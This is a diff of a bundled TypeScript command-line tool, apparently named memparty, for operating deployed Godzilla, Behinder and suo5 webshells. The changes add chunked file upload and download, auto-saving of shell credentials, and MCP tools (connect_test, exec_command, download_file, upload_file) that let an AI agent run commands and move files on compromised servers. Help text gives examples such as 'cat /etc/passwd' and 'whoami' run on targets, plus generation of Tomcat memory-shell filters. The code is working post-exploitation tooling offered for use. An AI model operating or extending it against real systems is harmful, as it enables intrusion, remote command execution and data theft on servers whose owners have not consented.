+ `upload finished but remote size mismatch \u2014 sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`
1314
+ );
1315
+ }
1316
+ } catch (err) {
1317
+ return fail(`upload finished but size verification failed: ${errMsg(err)}`);
1318
+ }
1319
+ return {
1320
+ ok: true,
1321
+ tool: "godzilla",
1322
+ url,
1323
+ direction: "upload",
1324
+ remotePath,
1325
+ bytes: data.length,
1326
+ durationMs: Date.now() - started
1327
+ };
849
1328
  }
850
1329
 
851
1330
  // src/connect/suo5.ts
@@ -1186,6 +1665,42 @@ function saveShellMeta(projectName, shellName, meta) {
1186
1665
  writeProjects(projects);
1187
1666
  return shell;
1188
1667
  }
1668
+ function sanitizeName(name) {
1669
+ const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
1670
+ return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
1671
+ }
1672
+ function autoSaveShell(conn) {
1673
+ let host = "target";
1674
+ let port = "";
1675
+ try {
1676
+ const u = new URL(conn.url);
1677
+ host = u.hostname || host;
1678
+ port = u.port;
1679
+ } catch {
1680
+ }
1681
+ const projectName = sanitizeName(host) || "target";
1682
+ const existing = getProject(projectName)?.shells ?? {};
1683
+ let shellName = Object.keys(existing).find(
1684
+ (n) => existing[n].url === conn.url && existing[n].tool === conn.tool
1685
+ );
1686
+ if (!shellName) {
1687
+ const base = sanitizeName(conn.tool) || "shell";
1688
+ shellName = base;
1689
+ if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
1690
+ for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
1691
+ }
1692
+ saveShell(projectName, shellName, {
1693
+ url: conn.url,
1694
+ tool: conn.tool,
1695
+ pass: conn.pass,
1696
+ key: conn.key,
1697
+ headerName: conn.headerName,
1698
+ headerValue: conn.headerValue,
1699
+ extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1700
+ insecure: conn.insecure
1701
+ });
1702
+ return `${projectName}/${shellName}`;
1703
+ }
1189
1704
  function resolveConnection(ref, flags) {
1190
1705
  let stored;
1191
1706
  let targetName;
@@ -1195,7 +1710,7 @@ function resolveConnection(ref, flags) {
1195
1710
  let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
1196
1711
  const project = getProject(projectName);
1197
1712
  if (!project) {
1198
- throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty target list'`);
1713
+ throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
1199
1714
  }
1200
1715
  if (!shellName) {
1201
1716
  const names = Object.keys(project.shells);
@@ -1254,7 +1769,7 @@ function parseExtraHeaders(lines) {
1254
1769
  function registerConnectCommand(program) {
1255
1770
  program.command("connect").description(
1256
1771
  "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
1257
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1772
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1258
1773
  new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
1259
1774
  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
1260
1775
  "--header-name <name>",
@@ -1264,7 +1779,7 @@ function registerConnectCommand(program) {
1264
1779
  "gate header value reported by gen (shellToolConfig.headerValue)"
1265
1780
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
1266
1781
  new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
1267
- ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1782
+ ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
1268
1783
  "after",
1269
1784
  `
1270
1785
  Examples:
@@ -1273,14 +1788,15 @@ Examples:
1273
1788
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1274
1789
  --header-value YdwTyuQr
1275
1790
  $ memparty connect -u http://target/suo5.jsp -t suo5
1276
- $ memparty connect web222 # saved target, see 'memparty target'
1791
+ $ memparty connect web222 # saved target, see 'memparty list'
1277
1792
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
1278
1793
 
1279
1794
  Note: shells generated by MemShellParty check a gate header \u2014 copy
1280
1795
  shellToolConfig.headerName/headerValue from the \`gen --json\` output
1281
1796
  (default header name is "User-Agent"), or the shell stays silent.
1282
- Save the whole profile with 'memparty target save <name> ...' and then
1283
- just pass the name.
1797
+ A successful test auto-saves the profile as <host>/<tool> (skip with
1798
+ --no-save); afterwards just pass the name. See 'memparty list',
1799
+ 'memparty note' and 'memparty remove' to manage saved targets.
1284
1800
  `
1285
1801
  ).action(async (name, opts, cmd) => {
1286
1802
  const globals = cmd.optsWithGlobals();
@@ -1298,8 +1814,7 @@ just pass the name.
1298
1814
  insecure: opts.insecure
1299
1815
  });
1300
1816
  } catch (err) {
1301
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1302
- `);
1817
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1303
1818
  process.exitCode = 1;
1304
1819
  return;
1305
1820
  }
@@ -1327,6 +1842,11 @@ just pass the name.
1327
1842
  process.exitCode = 1;
1328
1843
  return;
1329
1844
  }
1845
+ let savedAs;
1846
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1847
+ savedAs = autoSaveShell(conn);
1848
+ conn.targetName = savedAs;
1849
+ }
1330
1850
  logOp({
1331
1851
  category: "connect",
1332
1852
  action: "connect",
@@ -1339,12 +1859,13 @@ just pass the name.
1339
1859
  error: result.error
1340
1860
  });
1341
1861
  if (opts.json) {
1342
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1862
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1343
1863
  `);
1344
1864
  } else if (result.ok) {
1345
1865
  process.stdout.write(`OK ${result.tool} ${result.url}
1346
1866
  ${result.detail ?? ""}
1347
1867
  `);
1868
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1348
1869
  } else {
1349
1870
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1350
1871
  ${result.error ?? ""}
@@ -1372,7 +1893,7 @@ function parseExtraHeaders2(lines) {
1372
1893
  function registerExecCommand(program) {
1373
1894
  program.command("exec").description(
1374
1895
  "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
1375
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1896
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1376
1897
  new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
1377
1898
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
1378
1899
  new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
@@ -1382,7 +1903,7 @@ function registerExecCommand(program) {
1382
1903
  ).option(
1383
1904
  "--header-value <value>",
1384
1905
  "gate header value reported by gen (shellToolConfig.headerValue)"
1385
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1906
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
1386
1907
  "after",
1387
1908
  `
1388
1909
  Examples:
@@ -1390,7 +1911,7 @@ Examples:
1390
1911
  --header-value qSGAJScj --cmd "whoami"
1391
1912
  $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
1392
1913
  --header-value YdwTyuQr --cmd "cat /etc/passwd"
1393
- $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty target'
1914
+ $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
1394
1915
  $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
1395
1916
  --cmd "ipconfig /all" --json
1396
1917
 
@@ -1414,8 +1935,7 @@ the OS inside its payload, so --os does not apply.
1414
1935
  insecure: opts.insecure
1415
1936
  });
1416
1937
  } catch (err) {
1417
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1418
- `);
1938
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1419
1939
  process.exitCode = 1;
1420
1940
  return;
1421
1941
  }
@@ -1450,6 +1970,11 @@ the OS inside its payload, so --os does not apply.
1450
1970
  process.exitCode = 1;
1451
1971
  return;
1452
1972
  }
1973
+ let savedAs;
1974
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1975
+ savedAs = autoSaveShell(conn);
1976
+ conn.targetName = savedAs;
1977
+ }
1453
1978
  const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
1454
1979
  logOp({
1455
1980
  category: "exec",
@@ -1465,11 +1990,12 @@ the OS inside its payload, so --os does not apply.
1465
1990
  error: result.error
1466
1991
  });
1467
1992
  if (opts.json) {
1468
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1993
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1469
1994
  `);
1470
1995
  } else if (result.ok) {
1471
1996
  process.stdout.write(result.output ?? "");
1472
1997
  if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
1998
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1473
1999
  } else {
1474
2000
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1475
2001
  ${result.error ?? ""}
@@ -1868,13 +2394,17 @@ for a single payload. The --json output includes the gate header
1868
2394
  // src/commands/log.ts
1869
2395
  import { Option as Option4 } from "commander";
1870
2396
  function registerLogCommand(program) {
1871
- program.command("log").description("Show the global operation log (every gen/probe/connect/exec/target op)").addOption(
2397
+ program.command("log").description("Show the global operation log").addOption(
1872
2398
  new Option4("--category <name>", "filter by operation category").choices([
1873
2399
  "gen",
1874
2400
  "probe",
1875
2401
  "connect",
1876
2402
  "exec",
1877
- "target"
2403
+ "download",
2404
+ "upload",
2405
+ "save",
2406
+ "note",
2407
+ "remove"
1878
2408
  ])
1879
2409
  ).option(
1880
2410
  "--target <name>",
@@ -1885,6 +2415,7 @@ function registerLogCommand(program) {
1885
2415
  Examples:
1886
2416
  $ memparty log # latest 50 operations
1887
2417
  $ memparty log --category exec # only command executions
2418
+ $ memparty log --category save # only target saves
1888
2419
  $ memparty log --target hw222 # everything against project hw222
1889
2420
  $ memparty log --category exec --target 192.168.31.222 --json
1890
2421
  `
@@ -1915,8 +2446,69 @@ Examples:
1915
2446
  // src/mcp/server.ts
1916
2447
  import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
1917
2448
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
2449
+ import { writeFileSync as writeFileSync3 } from "fs";
1918
2450
  import { z } from "zod";
1919
2451
 
2452
+ // src/core/localfile.ts
2453
+ import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
2454
+ import { dirname as dirname3, join as join4, resolve } from "path";
2455
+ var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
2456
+ function remoteBasename(remotePath) {
2457
+ const trimmed = remotePath.replace(/[/\\]+$/, "");
2458
+ const parts = trimmed.split(/[/\\]/).filter((p) => p.length > 0);
2459
+ return parts.length > 0 ? parts[parts.length - 1] : "";
2460
+ }
2461
+ function resolveDownloadPath(remotePath, localArg, force) {
2462
+ const name = remoteBasename(remotePath);
2463
+ let target;
2464
+ if (localArg === void 0) {
2465
+ if (!name) {
2466
+ throw new Error(
2467
+ `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o`
2468
+ );
2469
+ }
2470
+ target = name;
2471
+ } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
2472
+ if (!name) {
2473
+ throw new Error(
2474
+ `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
2475
+ );
2476
+ }
2477
+ target = join4(localArg, name);
2478
+ } else {
2479
+ target = localArg;
2480
+ }
2481
+ const abs = resolve(target);
2482
+ if (existsSync3(abs)) {
2483
+ if (statSync(abs).isDirectory()) {
2484
+ throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
2485
+ }
2486
+ if (!force) {
2487
+ throw new Error(`local file ${target} already exists \u2014 pass --force to overwrite`);
2488
+ }
2489
+ }
2490
+ const parent = dirname3(abs);
2491
+ if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
2492
+ throw new Error(`local directory ${parent} does not exist`);
2493
+ }
2494
+ return abs;
2495
+ }
2496
+ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
2497
+ if (!existsSync3(localPath)) {
2498
+ throw new Error(`local file ${localPath} does not exist`);
2499
+ }
2500
+ const stat = statSync(localPath);
2501
+ if (!stat.isFile()) {
2502
+ throw new Error(`local path ${localPath} is not a regular file`);
2503
+ }
2504
+ if (stat.size > maxBytes) {
2505
+ throw new Error(
2506
+ `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
2507
+ );
2508
+ }
2509
+ return readFileSync6(localPath);
2510
+ }
2511
+
1920
2512
  // src/version.ts
1921
2513
  import { createRequire } from "module";
1922
2514
  var require2 = createRequire(import.meta.url);
@@ -2018,6 +2610,33 @@ var execInput = {
2018
2610
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
2019
2611
  timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
2020
2612
  };
2613
+ var transferConnInput = {
2614
+ name: execInput.name,
2615
+ url: execInput.url,
2616
+ tool: execInput.tool,
2617
+ pass: execInput.pass,
2618
+ key: execInput.key,
2619
+ headerName: execInput.headerName,
2620
+ headerValue: execInput.headerValue,
2621
+ insecure: execInput.insecure,
2622
+ timeoutMs: execInput.timeoutMs,
2623
+ remoteCharset: z.string().optional().describe(
2624
+ "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
2625
+ )
2626
+ };
2627
+ var downloadInput = {
2628
+ ...transferConnInput,
2629
+ remotePath: z.string().describe("remote file path to download"),
2630
+ localPath: z.string().optional().describe(
2631
+ "local destination (default: ./<remote basename>; an existing directory keeps the basename)"
2632
+ ),
2633
+ force: z.boolean().optional().describe("overwrite the local file when it already exists (default: refuse)")
2634
+ };
2635
+ var uploadInput = {
2636
+ ...transferConnInput,
2637
+ localPath: z.string().describe("local file to upload (max 64 MiB)"),
2638
+ remotePath: z.string().describe("remote destination path (overwritten when it exists)")
2639
+ };
2021
2640
  var targetSaveInput = {
2022
2641
  project: z.string().describe("project name (created when missing)"),
2023
2642
  shell: z.string().describe("shell name inside the project"),
@@ -2183,11 +2802,139 @@ function createMcpServer(client) {
2183
2802
  }
2184
2803
  );
2185
2804
  server.registerTool(
2186
- "connect_test",
2805
+ "connect_test",
2806
+ {
2807
+ title: "Test shell connection",
2808
+ description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
2809
+ inputSchema: connectInput
2810
+ },
2811
+ async (args) => {
2812
+ try {
2813
+ const conn = resolveConnection(args.name, {
2814
+ url: args.url,
2815
+ tool: args.tool,
2816
+ pass: args.pass,
2817
+ key: args.key,
2818
+ headerName: args.headerName,
2819
+ headerValue: args.headerValue,
2820
+ insecure: args.insecure
2821
+ });
2822
+ const common = {
2823
+ headerName: conn.headerName,
2824
+ headerValue: conn.headerValue,
2825
+ extraHeaders: conn.extraHeaders,
2826
+ timeoutMs: args.timeoutMs,
2827
+ insecure: conn.insecure
2828
+ };
2829
+ let result;
2830
+ switch (conn.tool) {
2831
+ case "godzilla":
2832
+ result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
2833
+ break;
2834
+ case "behinder":
2835
+ result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
2836
+ break;
2837
+ case "suo5":
2838
+ result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
2839
+ break;
2840
+ default:
2841
+ throw new Error(`unknown tool ${String(conn.tool)}`);
2842
+ }
2843
+ let savedAs;
2844
+ if (result.ok && conn.targetName === void 0) {
2845
+ savedAs = autoSaveShell(conn);
2846
+ conn.targetName = savedAs;
2847
+ }
2848
+ logOp({
2849
+ category: "connect",
2850
+ action: "connect",
2851
+ targetName: conn.targetName,
2852
+ url: conn.url,
2853
+ tool: conn.tool,
2854
+ ok: result.ok,
2855
+ durationMs: result.durationMs,
2856
+ detail: result.detail,
2857
+ error: result.error
2858
+ });
2859
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2860
+ } catch (err) {
2861
+ return errorContent(err);
2862
+ }
2863
+ }
2864
+ );
2865
+ server.registerTool(
2866
+ "exec_command",
2867
+ {
2868
+ title: "Execute command on shell",
2869
+ description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
2870
+ inputSchema: execInput
2871
+ },
2872
+ async (args) => {
2873
+ try {
2874
+ const conn = resolveConnection(args.name, {
2875
+ url: args.url,
2876
+ tool: args.tool,
2877
+ pass: args.pass,
2878
+ key: args.key,
2879
+ headerName: args.headerName,
2880
+ headerValue: args.headerValue,
2881
+ insecure: args.insecure
2882
+ });
2883
+ const common = {
2884
+ headerName: conn.headerName,
2885
+ headerValue: conn.headerValue,
2886
+ extraHeaders: conn.extraHeaders,
2887
+ timeoutMs: args.timeoutMs,
2888
+ insecure: conn.insecure
2889
+ };
2890
+ let result;
2891
+ switch (conn.tool) {
2892
+ case "godzilla":
2893
+ result = await execGodzilla(
2894
+ conn.url,
2895
+ conn.pass ?? "pass",
2896
+ conn.key ?? "key",
2897
+ args.command,
2898
+ { ...common, os: args.os }
2899
+ );
2900
+ break;
2901
+ case "behinder":
2902
+ result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
2903
+ break;
2904
+ default:
2905
+ throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
2906
+ }
2907
+ let savedAs;
2908
+ if (result.ok && conn.targetName === void 0) {
2909
+ savedAs = autoSaveShell(conn);
2910
+ conn.targetName = savedAs;
2911
+ }
2912
+ const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
2913
+ logOp({
2914
+ category: "exec",
2915
+ action: "exec",
2916
+ targetName: conn.targetName,
2917
+ url: conn.url,
2918
+ tool: conn.tool,
2919
+ ok: result.ok,
2920
+ durationMs: result.durationMs,
2921
+ command: args.command,
2922
+ output: truncated?.output,
2923
+ outputTruncated: truncated?.truncated || void 0,
2924
+ error: result.error
2925
+ });
2926
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2927
+ } catch (err) {
2928
+ return errorContent(err);
2929
+ }
2930
+ }
2931
+ );
2932
+ server.registerTool(
2933
+ "download_file",
2187
2934
  {
2188
- title: "Test shell connection",
2189
- description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
2190
- inputSchema: connectInput
2935
+ title: "Download file from shell",
2936
+ description: "Download a file from a deployed Godzilla / Behinder shell to the local machine. Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. The local file is never overwritten unless force=true. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
2937
+ inputSchema: downloadInput
2191
2938
  },
2192
2939
  async (args) => {
2193
2940
  try {
@@ -2207,43 +2954,70 @@ function createMcpServer(client) {
2207
2954
  timeoutMs: args.timeoutMs,
2208
2955
  insecure: conn.insecure
2209
2956
  };
2957
+ const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
2210
2958
  let result;
2211
2959
  switch (conn.tool) {
2212
2960
  case "godzilla":
2213
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
2961
+ result = await downloadGodzilla(
2962
+ conn.url,
2963
+ conn.pass ?? "pass",
2964
+ conn.key ?? "key",
2965
+ args.remotePath,
2966
+ { ...common, remoteCharset: args.remoteCharset }
2967
+ );
2214
2968
  break;
2215
2969
  case "behinder":
2216
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
2217
- break;
2218
- case "suo5":
2219
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
2970
+ result = await downloadBehinder(
2971
+ conn.url,
2972
+ conn.pass ?? "rebeyond",
2973
+ args.remotePath,
2974
+ common
2975
+ );
2220
2976
  break;
2221
2977
  default:
2222
- throw new Error(`unknown tool ${String(conn.tool)}`);
2978
+ throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
2979
+ }
2980
+ if (result.ok && result.data !== void 0) {
2981
+ try {
2982
+ writeFileSync3(localPath, result.data);
2983
+ } catch (err) {
2984
+ result = {
2985
+ ...result,
2986
+ ok: false,
2987
+ error: `download succeeded but writing ${localPath} failed: ${err.message}`
2988
+ };
2989
+ }
2990
+ }
2991
+ let savedAs;
2992
+ if (result.ok && conn.targetName === void 0) {
2993
+ savedAs = autoSaveShell(conn);
2994
+ conn.targetName = savedAs;
2223
2995
  }
2224
2996
  logOp({
2225
- category: "connect",
2226
- action: "connect",
2997
+ category: "download",
2998
+ action: "download",
2227
2999
  targetName: conn.targetName,
2228
3000
  url: conn.url,
2229
3001
  tool: conn.tool,
2230
3002
  ok: result.ok,
2231
3003
  durationMs: result.durationMs,
2232
- detail: result.detail,
2233
- error: result.error
3004
+ detail: result.ok ? `${args.remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : void 0,
3005
+ error: result.error,
3006
+ meta: { remotePath: args.remotePath, localPath, bytes: result.bytes }
2234
3007
  });
2235
- return jsonContent(result);
3008
+ const { data: _data, ...wire } = result;
3009
+ return jsonContent({ ...wire, localPath, savedAs });
2236
3010
  } catch (err) {
2237
3011
  return errorContent(err);
2238
3012
  }
2239
3013
  }
2240
3014
  );
2241
3015
  server.registerTool(
2242
- "exec_command",
3016
+ "upload_file",
2243
3017
  {
2244
- title: "Execute command on shell",
2245
- description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
2246
- inputSchema: execInput
3018
+ title: "Upload file to shell",
3019
+ description: "Upload a local file to a deployed Godzilla / Behinder shell, overwriting the remote path (max 64 MiB). Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
3020
+ inputSchema: uploadInput
2247
3021
  },
2248
3022
  async (args) => {
2249
3023
  try {
@@ -2263,38 +3037,49 @@ function createMcpServer(client) {
2263
3037
  timeoutMs: args.timeoutMs,
2264
3038
  insecure: conn.insecure
2265
3039
  };
3040
+ const data = readUploadFile(args.localPath);
2266
3041
  let result;
2267
3042
  switch (conn.tool) {
2268
3043
  case "godzilla":
2269
- result = await execGodzilla(
3044
+ result = await uploadGodzilla(
2270
3045
  conn.url,
2271
3046
  conn.pass ?? "pass",
2272
3047
  conn.key ?? "key",
2273
- args.command,
2274
- { ...common, os: args.os }
3048
+ args.remotePath,
3049
+ data,
3050
+ { ...common, remoteCharset: args.remoteCharset }
2275
3051
  );
2276
3052
  break;
2277
3053
  case "behinder":
2278
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
3054
+ result = await uploadBehinder(
3055
+ conn.url,
3056
+ conn.pass ?? "rebeyond",
3057
+ args.remotePath,
3058
+ data,
3059
+ common
3060
+ );
2279
3061
  break;
2280
3062
  default:
2281
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
3063
+ throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
3064
+ }
3065
+ let savedAs;
3066
+ if (result.ok && conn.targetName === void 0) {
3067
+ savedAs = autoSaveShell(conn);
3068
+ conn.targetName = savedAs;
2282
3069
  }
2283
- const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
2284
3070
  logOp({
2285
- category: "exec",
2286
- action: "exec",
3071
+ category: "upload",
3072
+ action: "upload",
2287
3073
  targetName: conn.targetName,
2288
3074
  url: conn.url,
2289
3075
  tool: conn.tool,
2290
3076
  ok: result.ok,
2291
3077
  durationMs: result.durationMs,
2292
- command: args.command,
2293
- output: truncated?.output,
2294
- outputTruncated: truncated?.truncated || void 0,
2295
- error: result.error
3078
+ detail: result.ok ? `${args.localPath} -> ${args.remotePath} (${result.bytes ?? 0} bytes)` : void 0,
3079
+ error: result.error,
3080
+ meta: { localPath: args.localPath, remotePath: args.remotePath, bytes: result.bytes }
2296
3081
  });
2297
- return jsonContent(result);
3082
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2298
3083
  } catch (err) {
2299
3084
  return errorContent(err);
2300
3085
  }
@@ -2326,7 +3111,7 @@ function createMcpServer(client) {
2326
3111
  remark: args.shellRemark
2327
3112
  });
2328
3113
  logOp({
2329
- category: "target",
3114
+ category: "save",
2330
3115
  action: "save",
2331
3116
  targetName: `${args.project}/${args.shell}`,
2332
3117
  url: args.url,
@@ -2365,7 +3150,7 @@ function createMcpServer(client) {
2365
3150
  }
2366
3151
  const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
2367
3152
  logOp({
2368
- category: "target",
3153
+ category: "note",
2369
3154
  action: "note",
2370
3155
  targetName: `${args.project}/${args.shell}`,
2371
3156
  ok: true,
@@ -2382,7 +3167,7 @@ function createMcpServer(client) {
2382
3167
  category: args.category
2383
3168
  });
2384
3169
  logOp({
2385
- category: "target",
3170
+ category: "note",
2386
3171
  action: "note",
2387
3172
  targetName: args.project,
2388
3173
  ok: true,
@@ -2432,7 +3217,7 @@ function createMcpServer(client) {
2432
3217
  const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
2433
3218
  if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
2434
3219
  logOp({
2435
- category: "target",
3220
+ category: "remove",
2436
3221
  action: "remove",
2437
3222
  targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
2438
3223
  ok: true,
@@ -2448,9 +3233,9 @@ function createMcpServer(client) {
2448
3233
  "log_list",
2449
3234
  {
2450
3235
  title: "List operation log",
2451
- description: "Read the global operation log (every gen/probe/connect/exec/target op), newest first. Filter by category and/or target.",
3236
+ description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
2452
3237
  inputSchema: {
2453
- category: z.enum(["gen", "probe", "connect", "exec", "target"]).optional().describe("operation category"),
3238
+ category: z.enum(["gen", "probe", "connect", "exec", "download", "upload", "save", "note", "remove"]).optional().describe("operation category"),
2454
3239
  target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
2455
3240
  limit: z.number().optional().describe("max entries (default 50)")
2456
3241
  }
@@ -2487,12 +3272,20 @@ function registerMcpCommand(program) {
2487
3272
  }
2488
3273
 
2489
3274
  // src/commands/parse-classname.ts
2490
- import { readFileSync as readFileSync6 } from "fs";
3275
+ import { readFileSync as readFileSync7 } from "fs";
2491
3276
  function registerParseClassNameCommand(program) {
2492
- program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").action(async (base64, opts, cmd) => {
3277
+ program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
3278
+ "after",
3279
+ `
3280
+ Examples:
3281
+ $ memparty parse-classname -f shell.class
3282
+ $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
3283
+ -p DefaultBase64 --command-param-name cmd)"
3284
+ `
3285
+ ).action(async (base64, opts, cmd) => {
2493
3286
  let classBase64;
2494
3287
  if (opts.file) {
2495
- classBase64 = readFileSync6(opts.file).toString("base64");
3288
+ classBase64 = readFileSync7(opts.file).toString("base64");
2496
3289
  } else if (base64) {
2497
3290
  classBase64 = base64.trim();
2498
3291
  } else {
@@ -2715,11 +3508,37 @@ function parseRef(ref) {
2715
3508
  if (slash === -1) return { project: ref };
2716
3509
  return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
2717
3510
  }
2718
- function registerTargetCommand(program) {
2719
- const target = program.command("target").description(
2720
- "Manage named shell targets: projects (remark + category) grouping several shells"
3511
+ function listTargets(opts) {
3512
+ const all = listProjects();
3513
+ const names = Object.keys(all).filter(
3514
+ (n) => opts.category === void 0 || all[n].category === opts.category
2721
3515
  );
2722
- target.command("save").description(
3516
+ if (opts.json) {
3517
+ const filtered = {};
3518
